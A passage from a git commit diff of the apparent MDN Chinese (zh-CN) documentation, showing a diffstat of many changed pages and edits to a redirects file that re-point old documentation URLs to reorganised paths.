.../border-radius_generator/index.html | 3 +- .../box-shadow_generator/index.html | 3 +- .../resizing_background_images/index.html | 3 +- .../index.html | 3 +- .../using_multi-column_layouts/index.html | 3 +- .../backwards_compatibility_of_flexbox/index.html | 3 +- .../index.html | 4 +- .../typical_use_cases_of_flexbox/index.html | 3 +- .../in_flow_and_out_of_flow/index.html | 3 +- files/zh-cn/web/css/css_fragmentation/index.html | 3 +- .../index.html | 5 +- .../index.html | 3 +- .../implementing_image_sprites_in_css/index.html | 3 +- .../css/css_images/using_css_gradients/index.html | 3 +- .../consistent_list_indentation/index.html | 3 +- .../using_css_counters/index.html | 3 +- .../basic_concepts/index.html | 3 +- .../floating_and_positioning/index.html | 3 +- .../adding_z-index/index.html | 3 +- .../understanding_z_index/index.html | 3 +- .../stacking_and_float/index.html | 3 +- .../stacking_context_example_1/index.html | 3 +- .../stacking_context_example_2/index.html | 3 +- .../stacking_context_example_3/index.html | 3 +- .../stacking_without_z-index/index.html | 3 +- .../the_stacking_context/index.html | 3 +- .../index.html | 7 +- .../css/cssom_view/coordinate_systems/index.html | 3 +- files/zh-cn/web/css/float/index.html | 3 +- files/zh-cn/web/css/grid-template-rows/index.html | 3 +- .../zh-cn/web/css/layout_cookbook/card/index.html | 3 +- .../css/layout_cookbook/media_objects/index.html | 3 +- files/zh-cn/web/css/media_queries/index.html | 3 +- .../media_queries/testing_media_queries/index.html | 3 +- .../media_queries/using_media_queries/index.html | 3 +- files/zh-cn/web/css/offset/index.html | 3 +- files/zh-cn/web/css/overflow-wrap/index.html | 3 +- .../web/css/text-decoration-thickness/index.html | 3 +- files/zh-cn/web/css/url()/index.html | 3 +- .../web/css/visual_formatting_model/index.html | 3 +- .../web/demos_of_open_web_technologies/index.html | 3 +- .../web/guide/html/editable_content/index.html | 3 +- .../rich-text_editing_in_mozilla/index.html | 3 +- .../using_html_sections_and_outlines/index.html | 3 +- .../introduction_to_web_development/index.html | 3 +- files/zh-cn/web/guide/woff/index.html | 3 +- .../web/html/attributes/autocomplete/index.html | 3 +- .../web/html/attributes/crossorigin/index.html | 3 +- .../zh-cn/web/html/element/input/month/index.html | 3 +- .../zh-cn/web/html/element/input/range/index.html | 3 +- .../x-ms-acceleratorkey/index.html | 3 +- .../x-ms-format-detection/index.html | 3 +- .../web/http/basics_of_http/data_uris/index.html | 3 +- files/zh-cn/web/http/caching/index.html | 3 +- .../list_of_default_accept_values/index.html | 3 +- .../errors/corsmissingallowcredentials/index.html | 3 +- files/zh-cn/web/http/cors/index.html | 5 +- files/zh-cn/web/http/feature_policy/index.html | 3 +- .../feature_policy/using_feature_policy/index.html | 3 +- .../headers/strict-transport-security/index.html | 3 +- .../http/headers/x-dns-prefetch-control/index.html | 3 +- .../web/http/headers/x-frame-options/index.html | 3 +- .../proxy_auto-configuration_pac_file/index.html | 3 +- .../regular_expressions/quantifiers/index.html | 3 +- .../classes/public_class_fields/index.html | 3 +- .../errors/cant_assign_to_property/index.html | 3 +- .../reference/global_objects/math/acosh/index.html | 3 +- .../global_objects/proxy/proxy/apply/index.html | 3 +- .../proxy/proxy/construct/index.html | 3 +- .../proxy/proxy/defineproperty/index.html | 3 +- .../proxy/proxy/deleteproperty/index.html | 3 +- .../global_objects/proxy/proxy/get/index.html | 3 +- .../proxy/getownpropertydescriptor/index.html | 3 +- .../proxy/proxy/getprototypeof/index.html | 3 +- .../global_objects/proxy/proxy/has/index.html | 3 +- .../proxy/proxy/isextensible/index.html | 3 +- .../global_objects/proxy/proxy/ownkeys/index.html | 3 +- .../proxy/proxy/preventextensions/index.html | 3 +- .../global_objects/proxy/proxy/set/index.html | 3 +- .../proxy/proxy/setprototypeof/index.html | 3 +- .../index.html | 4 +- .../global_objects/string/trimend/index.html | 3 +- .../global_objects/string/trimstart/index.html | 3 +- .../reference/operators/addition/index.html | 3 +- .../reference/operators/async_function/index.html | 3 +- .../reference/operators/bitwise_and/index.html | 3 +- .../reference/operators/decrement/index.html | 3 +- .../reference/operators/equality/index.html | 3 +- .../reference/operators/logical_and/index.html | 3 +- .../operators/optional_chaining/index.html | 3 +- .../operators/pipeline_operator/index.html | 3 +- .../reference/operators/remainder/index.html | 3 +- .../reference/template_literals/index.html | 3 +- .../index.html | 7 +- files/zh-cn/web/media/autoplay_guide/index.html | 3 +- .../index.html | 3 +- .../web/media/formats/video_codecs/index.html | 3 +- files/zh-cn/web/media/index.html | 3 +- .../web/performance/how_browsers_work/index.html | 3 +- .../add_to_home_screen/index.html | 3 +- .../web/progressive_web_apps/loading/index.html | 3 +- .../responsive/media_types/index.html | 3 +- .../web/security/subresource_integrity/index.html | 3 +- .../security/transport_layer_security/index.html | 3 +- files/zh-cn/web/svg/attribute/styling/index.html | 3 +- .../zh-cn/web/svg/attribute/text-anchor/index.html | 3 +- .../zh-cn/web/svg/tutorial/svg_and_css/index.html | 3 +- .../web/web_components/html_imports/index.html | 3 +- .../xpath/comparison_with_css_selectors/index.html | 3 +- .../index.html | 3 +- files/zh-cn/web/xslt/element/index.html | 3 +- 592 files changed, 18439 insertions(+), 17251 deletions(-) (limited to 'files/zh-cn/web/api') diff --git a/files/zh-cn/_redirects.txt b/files/zh-cn/_redirects.txt index b2bb370f12..9a33475883 100644 --- a/files/zh-cn/_redirects.txt +++ b/files/zh-cn/_redirects.txt @@ -6,13 +6,14 @@ /zh-CN/docs/AJAX:Getting_Started /zh-CN/docs/Web/Guide/AJAX/Getting_Started /zh-CN/docs/AJAX:开始 /zh-CN/docs/Web/Guide/AJAX/Getting_Started /zh-CN/docs/API /zh-CN/docs/Web/API +/zh-CN/docs/API/Pointer_Lock_API /zh-CN/docs/Web/API/Pointer_Lock_API /zh-CN/docs/A_Basic_RayCaster /zh-CN/docs/Web/API/Canvas_API/A_basic_ray-caster /zh-CN/docs/A_re-introduction_to_JavaScript /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/CORS_Enabled_Image /zh-CN/docs/Web/HTML/CORS_enabled_image /zh-CN/docs/CSS /zh-CN/docs/Web/CSS -/zh-CN/docs/CSS/:-moz-placeholder /zh-CN/docs/Web/CSS/:-moz-placeholder -/zh-CN/docs/CSS/::-moz-placeholder /zh-CN/docs/Web/CSS/::-moz-placeholder +/zh-CN/docs/CSS/:-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/:placeholder-shown +/zh-CN/docs/CSS/::-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/::placeholder /zh-CN/docs/CSS/::after /zh-CN/docs/Web/CSS/::after /zh-CN/docs/CSS/:first-child /zh-CN/docs/Web/CSS/:first-child /zh-CN/docs/CSS/:only-child /zh-CN/docs/Web/CSS/:only-child @@ -27,25 +28,25 @@ /zh-CN/docs/CSS/CSS_animated_properties /zh-CN/docs/Web/CSS/CSS_animated_properties /zh-CN/docs/CSS/CSS_reference /zh-CN/docs/Web/CSS/Reference /zh-CN/docs/CSS/CSS_values_syntax /zh-CN/docs/Web/CSS -/zh-CN/docs/CSS/CSS_一般问题 /zh-CN/docs/Web/CSS/Common_CSS_Questions +/zh-CN/docs/CSS/CSS_一般问题 /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/CSS/Child_selectors /zh-CN/docs/Web/CSS/Child_combinator /zh-CN/docs/CSS/Class_selectors /zh-CN/docs/Web/CSS/Class_selectors /zh-CN/docs/CSS/Comments /zh-CN/docs/Web/CSS/Comments -/zh-CN/docs/CSS/Common_CSS_Questions /zh-CN/docs/Web/CSS/Common_CSS_Questions +/zh-CN/docs/CSS/Common_CSS_Questions /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/CSS/Descendant_selectors /zh-CN/docs/Web/CSS/Descendant_combinator /zh-CN/docs/CSS/General_sibling_selectors /zh-CN/docs/Web/CSS/General_sibling_combinator -/zh-CN/docs/CSS/Getting_Started /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/CSS/Getting_Started/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS/Getting_Started/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS/Getting_Started/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS/Getting_Started/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS/Getting_Started/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS/Getting_Started/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS/Getting_Started/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS/Getting_Started/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS/Getting_Started/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS/Getting_Started/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS/Getting_Started/Why_use_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS +/zh-CN/docs/CSS/Getting_Started /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/CSS/Getting_Started/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS/Getting_Started/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS/Getting_Started/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS/Getting_Started/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS/Getting_Started/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS/Getting_Started/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS/Getting_Started/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS/Getting_Started/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS/Getting_Started/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS/Getting_Started/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS/Getting_Started/Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/CSS/ID_selectors /zh-CN/docs/Web/CSS/ID_selectors /zh-CN/docs/CSS/Media /zh-CN/docs/Web/API/CSSMediaRule /zh-CN/docs/CSS/Media/Visual /zh-CN/docs/Web/CSS/@media @@ -54,18 +55,18 @@ /zh-CN/docs/CSS/Specificity /zh-CN/docs/Web/CSS/Specificity /zh-CN/docs/CSS/Syntax /zh-CN/docs/Web/CSS/Syntax /zh-CN/docs/CSS/Tutorials /zh-CN/docs/Web/CSS/Tutorials -/zh-CN/docs/CSS/Tutorials/Using_CSS_flexible_boxes /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +/zh-CN/docs/CSS/Tutorials/Using_CSS_flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox /zh-CN/docs/CSS/Tutorials/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms /zh-CN/docs/CSS/Tutorials/Using_CSS_transitions /zh-CN/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions /zh-CN/docs/CSS/Type_selectors /zh-CN/docs/Web/CSS/Type_selectors -/zh-CN/docs/CSS/Understanding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index -/zh-CN/docs/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index -/zh-CN/docs/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float -/zh-CN/docs/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -/zh-CN/docs/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context +/zh-CN/docs/CSS/Understanding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/CSS/Universal_selectors /zh-CN/docs/Web/CSS/Universal_selectors /zh-CN/docs/CSS/Value_definition_syntax /zh-CN/docs/Web/CSS/Value_definition_syntax -/zh-CN/docs/CSS/Visual_formatting_model /zh-CN/docs/Web/Guide/CSS/Visual_formatting_model +/zh-CN/docs/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/Visual_formatting_model /zh-CN/docs/CSS/actual_value /zh-CN/docs/Web/CSS/actual_value /zh-CN/docs/CSS/animation-direction /zh-CN/docs/Web/CSS/animation-direction /zh-CN/docs/CSS/animation-duration /zh-CN/docs/Web/CSS/animation-duration @@ -90,9 +91,10 @@ /zh-CN/docs/CSS/calc /zh-CN/docs/Web/CSS/calc() /zh-CN/docs/CSS/clip /zh-CN/docs/Web/CSS/clip /zh-CN/docs/CSS/cursor /zh-CN/docs/Web/CSS/cursor -/zh-CN/docs/CSS/cursor/url /zh-CN/docs/Web/CSS/cursor/url +/zh-CN/docs/CSS/cursor/url /zh-CN/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property /zh-CN/docs/CSS/display /zh-CN/docs/Web/CSS/display /zh-CN/docs/CSS/flex-grow /zh-CN/docs/Web/CSS/flex-grow +/zh-CN/docs/CSS/float /zh-CN/docs/Web/CSS/float /zh-CN/docs/CSS/float/Webkit_Extensions /zh-CN/docs/Web/CSS/WebKit_Extensions /zh-CN/docs/CSS/font-smooth /zh-CN/docs/Web/CSS/font-smooth /zh-CN/docs/CSS/height /zh-CN/docs/Web/CSS/height @@ -115,7 +117,7 @@ /zh-CN/docs/CSS/text-rendering /zh-CN/docs/Web/CSS/text-rendering /zh-CN/docs/CSS/text-shadow /zh-CN/docs/Web/CSS/text-shadow /zh-CN/docs/CSS/text-transform /zh-CN/docs/Web/CSS/text-transform -/zh-CN/docs/CSS/timing-function /zh-CN/docs/Web/CSS/timing-function +/zh-CN/docs/CSS/timing-function /zh-CN/docs/conflicting/Web/CSS/easing-function /zh-CN/docs/CSS/transform /zh-CN/docs/Web/CSS/transform /zh-CN/docs/CSS/transition /zh-CN/docs/Web/CSS/transition /zh-CN/docs/CSS/transition-timing-function /zh-CN/docs/Web/CSS/transition-timing-function @@ -128,33 +130,33 @@ /zh-CN/docs/CSS/word-spacing /zh-CN/docs/Web/CSS/word-spacing /zh-CN/docs/CSS/z-index /zh-CN/docs/Web/CSS/z-index /zh-CN/docs/CSS/动画 /zh-CN/docs/Web/CSS/animation -/zh-CN/docs/CSS/开始 /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/CSS/开始/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS/开始/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS/开始/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS/开始/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS/开始/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS/开始/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS/开始/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS -/zh-CN/docs/CSS/开始/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS/开始/Tables /zh-CN/docs/Web/Guide/CSS/Getting_started/Tables -/zh-CN/docs/CSS/开始/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS/开始/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS/开始/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/CSS/开始/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/CSS/开始/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout -/zh-CN/docs/CSS:Getting_Started:Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS:Getting_Started:Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS:Getting_Started:Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS:Getting_Started:Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS:Getting_Started:How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS:Getting_Started:Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS:Getting_Started:Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS:Getting_Started:Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS:Getting_Started:Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS:Getting_Started:What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS:Getting_Started:Why_use_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS +/zh-CN/docs/CSS/开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/CSS/开始/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS/开始/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS/开始/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS/开始/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS/开始/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS/开始/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS/开始/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/CSS/开始/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS/开始/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/CSS/开始/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS/开始/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS/开始/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/CSS/开始/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/CSS/开始/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/CSS:Getting_Started:Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS:Getting_Started:Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS:Getting_Started:Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS:Getting_Started:Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS:Getting_Started:How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS:Getting_Started:Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS:Getting_Started:Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS:Getting_Started:Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS:Getting_Started:Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS:Getting_Started:What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS:Getting_Started:Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/CSS:Media:Visual /zh-CN/docs/Web/CSS/@media /zh-CN/docs/CSS:background /zh-CN/docs/Web/CSS/background /zh-CN/docs/CSS:background-attachment /zh-CN/docs/Web/CSS/background-attachment @@ -168,7 +170,7 @@ /zh-CN/docs/CSS:position /zh-CN/docs/Web/CSS/position /zh-CN/docs/CSS:text-transform /zh-CN/docs/Web/CSS/text-transform /zh-CN/docs/CSS:visibility /zh-CN/docs/Web/CSS/visibility -/zh-CN/docs/CSS:开始 /zh-CN/docs/Web/Guide/CSS/Getting_started +/zh-CN/docs/CSS:开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps /zh-CN/docs/Canvas /zh-CN/docs/Web/API/Canvas_API/Tutorial /zh-CN/docs/Canvas_tutorial/Applying_styles_and_colors /zh-CN/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors /zh-CN/docs/Canvas_tutorial/Basic_animations /zh-CN/docs/Web/API/Canvas_API/Tutorial/Basic_animations @@ -178,7 +180,9 @@ /zh-CN/docs/Canvas_tutorial:Applying_styles_and_colors /zh-CN/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors /zh-CN/docs/Canvas_tutorial:Using_images /zh-CN/docs/Web/API/Canvas_API/Tutorial/Using_images /zh-CN/docs/Canvas教程 /zh-CN/docs/Web/API/Canvas_API/Tutorial +/zh-CN/docs/Chrome /zh-CN/docs/conflicting/Glossary/Chrome /zh-CN/docs/Components /zh-CN/docs/Components_object +/zh-CN/docs/Controlling_DNS_prefetching /zh-CN/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control /zh-CN/docs/Core_JavaScript_1.5_Guide/Objects_and_Properties /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Core_JavaScript_1.5_Guide:Objects_and_Properties /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Core_JavaScript_1.5_Reference/About /zh-CN/docs/Web/JavaScript/Reference/About @@ -193,7 +197,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/push /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/reverse /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift @@ -203,7 +207,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Error /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/EvalError /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/EvalError /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function -/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Math /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Math/random /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/random /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number @@ -213,7 +217,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Properties /zh-CN/docs/Web/JavaScript/Reference/Global_Objects /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Properties/NaN /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NaN -/zh-CN/docs/Core_JavaScript_1.5_Reference/Reserved_Words /zh-CN/docs/Web/JavaScript/Reference/Reserved_words +/zh-CN/docs/Core_JavaScript_1.5_Reference/Reserved_Words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Core_JavaScript_1.5_Reference/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements /zh-CN/docs/Core_JavaScript_1.5_Reference/Statements/throw /zh-CN/docs/Web/JavaScript/Reference/Statements/throw /zh-CN/docs/Core_JavaScript_1.5_Reference:About /zh-CN/docs/Web/JavaScript/Reference/About @@ -226,7 +230,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:push /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:reverse /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift @@ -235,15 +239,16 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Error /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function -/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function:prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function:prototype 